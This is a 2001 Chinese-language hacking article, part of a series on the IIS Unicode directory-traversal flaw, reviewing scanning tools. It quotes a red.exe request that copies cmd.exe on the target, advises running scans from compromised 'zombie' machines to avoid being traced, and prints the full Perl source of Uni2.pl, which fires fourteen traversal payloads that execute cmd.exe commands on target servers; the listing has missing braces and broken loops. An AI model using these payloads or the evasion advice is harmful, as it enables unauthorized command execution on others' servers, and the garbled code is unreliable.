[ 永遠的UNIX::UNIX技術資料的寶庫 ]   GB | BIG5

首頁 > 安全技術 > 其它 > 正文
UNICODE編碼漏洞全攻略-4
作者:badboy 壞男孩俱樂部 (2001-05-20 17:04:00)
 
badboy 壞男孩俱樂部 
這並不是什麼權威教材,只適合菜鳥了解win9x、NT存在的不安全面,切莫 
用此方法在國內做嘗試,如果你偏要如此,那麼由此引起的一切法律後果由 
你自己負責。 
本文只允許在網路任意轉載,但須保留文章的完整性,如把本文作經濟目 
的使用,或者未經本人許可進行印刷、光碟雜、等出版性質的行,本人 
將保留侵權控告的權利。 
 
五、網路裡可得到的一些UNICODE掃描程式的分析 

1、簡單易用的red.exe 
操作平台︰win9x、NT4、WIN2K 
該軟體可以在一些中文黑客軟體收藏庫裡找到下載。 
red.exe是中國大陸的一位HACK技術愛好者Redp0wer用C++編寫的針對某一IP段的 
NT主機UNICODE編碼漏洞的命令行式掃描工具,該工具掃描速度快,掃描準確。 
可以在本地和遠端NT肉機上執行掃描工作,並生一個簡單的掃描報告RED.txt 
(僅記錄所掃描的IP段的NT主機的IP位址)。 
該軟體對目標NT主機scripts、IISADMPWD、msadc、cgi-bin、_vti_bin目錄都做 
UNICODE編碼漏洞的測試。 
如果你僅能在本地機上對某個IP段進行掃描,且是固定IP地址的用戶,在使用該 
軟體時,你須注意你的掃描行實際上也把你自己暴露給對方。且容易被對方抓 
住把柄狀告你有入侵行。我們可以從事件查看器裡發現執行的足跡 
應用程式日c:\WINNT\system32\config\AppEvent.Evt 
安全日C:\WINNT\System32\config\SecEvent.Evt 
系統日C:\WINNT\system32\config\SysEvent.Evt 

我們分析該軟體的源碼可以看到︰ 
GET /%s/%s/winnt/system32/cmd.exe?/c%scopy%s%s:\\winnt\\system32\\cmd.exe%s%s\\red.exe HTTP/1.0\n\n 
如果從安全掃描工具來說,是不應該對所掃描的目標主機做任何文件的增加和修改。 
所以,在你還不知道怎麼消除你的足跡和利用肉機來執行掃描時,最好不要利用這 
軟體作你的掃描工具。 

2、比較全面的UNICODE工具Uni2.pl 
只要支援PERL,就可以利用這工具來對目標主機進行UNICODE編碼漏洞的掃描。 
該程式可以對所有存在UNICODE編碼漏洞的NT版本進行掃描測試。以下該軟體 
的根源程式,具體如何操作就不做詳細解說了。 
#!/usr/bin/perl 

# Uni2.pl checks a host for the recent IIS unicode vulnerability 
# in 14 different ways. Also gives you the browser URL for the 
# exploit. Origionally Stealthmode316, modifications by Roeland 


use Socket; 
# --------------init 
if ($#ARGV<0) {die "UNICODE-CHECK 

Example: ./uni.pl www.target.com:80\n";} 

#($host,$port)=split(/:/,@ARGV[0]); 
($host = @ARGV[0]); 
$port = 80; 

$target = inet_aton($host); 
$flag=0; 
# ---------------test method 1 
my @results=sendraw("GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0\r\n\r\n"); 
foreach $line (@results){ 
if ($line =~ /Directory/) {$flag=1;print "$host/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir\n";}} 

# ---------------test method 2 
my @results=sendraw("GET /scripts..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0\r\n\r\n"); 
foreach $line (@results){ 
if ($line =~ /Directory/) {$flag=1;print "$host/scripts..%c1%9c../winnt/system32/cmd.exe?/c+dir\n";}} 

# ---------------test method 3 
my @results=sendraw("GET /scripts/..%c1%pc../winnt/system32/cmd.exe?/c+dir HTTP/1.0\r\n\r\n"); 
foreach $line (@results){ 
if ($line =~ /Directory/) {$flag=1;print "$host/scripts/..%c1%pc../winnt/system32/cmd.exe?/c+dir\n";}} 

# ---------------test method 4 
my @results=sendraw("GET /scripts/..%c0%9v../winnt/system32/cmd.exe?/c+dir HTTP/1.0\r\n\r\n"); 
foreach $line (@results){ 
if ($line =~ /Directory/) {$flag=1;print "$host/scripts/..%c0%9v../winnt/system32/cmd.exe?/c+dir\n";}} 

# ---------------test method 5 
my @results=sendraw("GET /scripts/..%c0%qf../winnt/system32/cmd.exe?/c+dir HTTP/1.0\r\n\r\n"); 
foreach $line (@results){ 
if ($line =~ /Directory/) {$flag=1;print "$host/scripts/..%c0%qf../winnt/system32/cmd.exe?/c+dir\n";}} 

# ---------------test method 6 
my @results=sendraw("GET /scripts/..%c1%8s../winnt/system32/cmd.exe?/c+dir HTTP/1.0\r\n\r\n"); 
foreach $line (@results){ 
if ($line =~ /Directory/) {$flag=1;print "$host/scripts/..%c1%8s../winnt/system32/cmd.exe?/c+dir\n";}} 

# ---------------test method 7 
my @results=sendraw("GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0\r\n\r\n"); 
foreach $line (@results){ 
if ($line =~ /Directory/) {$flag=1;print "$host/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir\n";}} 

# ---------------test method 8 
my @results=sendraw("GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0\r\n\r\n"); 
foreach $line (@results){ 
if ($line =~ /Directory/) {$flag=1;print "$host/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir\n";}} 

# ---------------test method 9 
my @results=sendraw("GET /scripts/..%c1%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0\r\n\r\n"); 
foreach $line (@results){ 
if ($line =~ /Directory/) {$flag=1;print "$host/scripts/..%c1%af../winnt/system32/cmd.exe?/c+dir\n";}} 

# ---------------test method 10 
my @results=sendraw("GET /scripts/..%e0%80%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0\r\n\r\n"); 
foreach $line (@results){ 
if ($line =~ /Directory/) {$flag=1;print "$host/scripts/..%e0%80%af../winnt/system32/cmd.exe?/c+dir\n";}} 

# ---------------test method 11 
my @results=sendraw("GET /scripts/..%f0%80%80%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0\r\n\r\n"); 
foreach $line (@results){ 
if ($line =~ /Directory/) {$flag=1;print "$host/scripts/..%f0%80%80%af../winnt/system32/cmd.exe?/c+dir\n";}} 

# ---------------test method 12 
my @results=sendraw("GET /scripts/..%f8%80%80%80%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0\r\n\r\n"); 
foreach $line (@results){ 
if ($line =~ /Directory/) {$flag=1;print "$host/scripts/..%f8%80%80%80%af../winnt/system32/cmd.exe?/c+dir\n";}} 

# ---------------test method 13 
my @results=sendraw("GET /scripts/..%fc%80%80%80%80%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0\r\n\r\n"); 
foreach $line (@results){ 
if ($line =~ /Directory/) {$flag=1;print "$host/scripts/..%fc%80%80%80%80%af../winnt/system32/cmd.exe?/c+dir\n";}} 

# ---------------test method 14 
my @results=sendraw("GET /msadc/..\%e0\%80\%af../..\%e0\%80\%af../..\%e0\%80\%af../winnt/system32/cmd.exe\?/c\+dir HTTP/1.0\r\n\r\n 
"); 
foreach $line (@results){ 
if ($line =~ /Directory/) {$flag=1;print "$host/msadc/..\%e0\%80\%af../..\%e0\%80\%af../..\%e0\%80\%af../winnt/system32/cmd.exe\?/c\+dir\n";}} 

if ($flag!=1) { 
print "$host: Not vulnerable\n"; 
exit; 


sub sendraw { 

$hbn = gethostbyname($host); 

if ($hbn) { 
my ($pstr)=@_; 
socket(S,PF_INET,SOCK_STREAM,gethostbyname('tcp')||0) || die("Socket problems\n"); 

if(connect(S,pack "SnA4x8",2,$port,$target)) { 
my @in; 
select(S); 
$|=1; 
print $pstr; 

while(){ 
push @in, $_; 


select(STDOUT); 
close(S); 
return @in; 
} else { 
print "$host: Can't connect\n"; 
exit; 

} else { 
print "$host: Host not found\n"; 
exit; 






--------------------------------------------- 
未完待續,有什麼問題和見解,可以到我的主頁給我留言 
badboyclub.go.163.com 
壞男孩俱樂部 (http://www.fanqiang.com)
    進入【UNIX論壇

相關文章

======
 

★  樊強制作 歡迎分享  ★